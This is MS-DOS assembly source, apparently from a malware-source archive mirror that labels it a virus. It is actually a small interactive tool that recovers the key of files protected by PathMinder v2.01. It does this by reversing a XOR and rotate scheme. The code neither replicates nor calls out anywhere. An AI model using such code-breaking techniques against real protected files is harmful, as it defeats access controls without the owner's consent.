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mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-07-05 09:52:02 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pmfejt.asm

227 lines
3.4 KiB
NASM
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2021-01-12 23:55:26 +00:00
START SEGMENT
ASSUME CS:START,DS:START
MOV BX,80H
MOV CH,0
MOV CL,[BX]
DEC CX
MOV SI,OFFSET KODOK+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILEN+100H
CALL BET
JZ KILEP
MOV SI,OFFSET FILECO+100H
CALL BET
JMP FOLYT
KILEP: INT 20H
FOLYT: MOV SI,OFFSET KODOK+100H
MOV BX,OFFSET KODTB+100H
CIKL1: MOV AL,[SI]
OR AL,AL
JZ FOLYT5
OR AL,20H
FOLYT5: CMP AL,[BX]
JZ FOLYTC
JMP KODER
FOLYTC: CMP AL,0
JZ FOLYT4
INC BX
INC SI
JMP CIKL1
FOLYT4: MOV AL,0
MOV AH,3DH
MOV DX,OFFSET FILECO+100H
INT 21H
JNC FOLYTD
JMP FILER
FOLYTD: PUSH AX
MOV BX,AX
MOV AH,3FH
MOV CX,100H
MOV DX,OFFSET IPUFF+100H
INT 21H
POP BX
JNC FOLYTE
JMP FILER
FOLYTE: MOV AH,3EH
INT 21H
JNC FOLYTF
JMP FILER
FOLYTF: MOV BX,OFFSET IPUFF+100H
MOV SI,OFFSET PMNAM+100H
CIKL2: MOV AL,[SI]
OR AL,AL
JZ FOLYT7
CMP AL,[BX]
JZ PMOK
JMP PMER
PMOK: INC BX
INC SI
JMP CIKL2
FOLYT7: MOV DI,OFFSET FILMO+100H
MOV DL,2
CIKL4: MOV SI,OFFSET FILEN+100H
MOV CX,13
REP MOVSB
DEC DL
JNZ CIKL4
FOLYTA: MOV BX,7
MOV CX,26
MOV AL,03FH
MOV AH,9
INT 10H
MOV BX,OFFSET IPUFF+157H
MOV CX,26
MOV SI,OFFSET FILMO+100H
MOV DI,OFFSET OPUFF+100H
MOV BYTE PTR [IRANY+100H],1
CIKL6: PUSH CX
MOV CL,0
CIKL5: MOV AL,[SI]
XOR AL,CL
ROR AL,CL
CMP AL,[BX]
JZ FOLYTB
CIKL9: ADD CL,BYTE PTR [IRANY+100H]
JNZ CIKL5
PUSH BX
PUSH CX
PUSH AX
MOV AX,0E07H
MOV BX,0
INT 10H
MOV AX,0E3FH
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
JMP TASZT
FOLYTB: MOV [DI],CL
CMP CL,128
JC FOLYTG
JMP CIKL9
FOLYTG: CMP CL,20H
JC CIKL9
TASZT1: PUSH CX
PUSH BX
PUSH AX
MOV BX,0
MOV AL,CL
MOV AH,0EH
MOV CX,1
INT 10H
POP AX
POP BX
POP CX
TASZT: MOV AH,0
INT 16H
CMP AH,4BH
JZ BAL
CMP AH,4DH
JZ JOBB
CMP AH,48H
JZ FEL
CMP AH,50H
JZ LE1
CMP AH,1CH
JZ ESC1
JMP TASZT
LE1: CALL BALRA
MOV BYTE PTR [IRANY+100H],0FFH
JMP CIKL9
BALRA: PUSH BX
PUSH CX
PUSH AX
MOV AX,0E08H
MOV BX,0
INT 10H
POP AX
POP CX
POP BX
RET
FEL: CALL BALRA
MOV BYTE PTR [IRANY+100H],01H
JMP CIKL9
BAL: CALL BALRA
CMP BX,OFFSET IPUFF+157H
JNC BAL1
JMP CIKL9
BAL1: CALL BALRA
DEC BX
DEC SI
DEC DI
POP CX
INC CX
JMP CIKL6
JOBB: CMP BX,OFFSET IPUFF+157H+25
JC JOBB1
CALL BALRA
JMP CIKL9
JOBB1: INC BX
INC SI
INC DI
POP CX
DEC CX
JMP CIKL6
ESC1: POP CX
MOV AX,0E0DH
MOV BX,0
INT 10H
MOV AX,0E0AH
MOV BX,0
INT 10H
MOV BYTE PTR [OPUFF+100H+28],0
KILEP1: MOV SI,OFFSET OPUFF+100H
CALL KIIR
JMP KILEP
IRANY: DB 1
PMER: MOV SI,OFFSET PERR+100H
CALL KIIR
JMP KILEP
KODER: MOV SI,OFFSET KDERR+100H
CALL KIIR
JMP KILEP
FILER: MOV SI,OFFSET FERR+100H
CALL KIIR
JMP KILEP
KIIR: MOV AL,[SI]
CMP AL,0
JNZ FOLYT6
RET
FOLYT6: MOV AH,0EH
MOV BX,0
INT 10H
INC SI
JMP KIIR
BET: MOV AL,[BX+2]
CMP AL,20H
JNZ FOLYT2
MOV BYTE PTR [SI],0
INC BX
INC SI
LOOP FOLYT3
XOR AL,AL
FOLYT3: RET
FOLYT2: MOV [SI],AL
INC SI
INC BX
LOOP BET
MOV BYTE PTR [SI],0
XOR AL,AL
RET
PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0
FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0
PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0
KRERR: DB 'KERESESI HIBA',0DH,0AH,0
KDERR: DB 'KODOLASI HIBA',0DH,0AH,0
FILEN: DB 64 DUP (0)
FILECO: DB 64 DUP (0)
KODOK: DB 64 DUP (0)
KODTB: DB 'feri&bozo',0
IPUFF: DB 256 DUP (0)
FILMO: DB 30 DUP (0)
OPUFF: DB 32*64 DUP (0)
START ENDS
END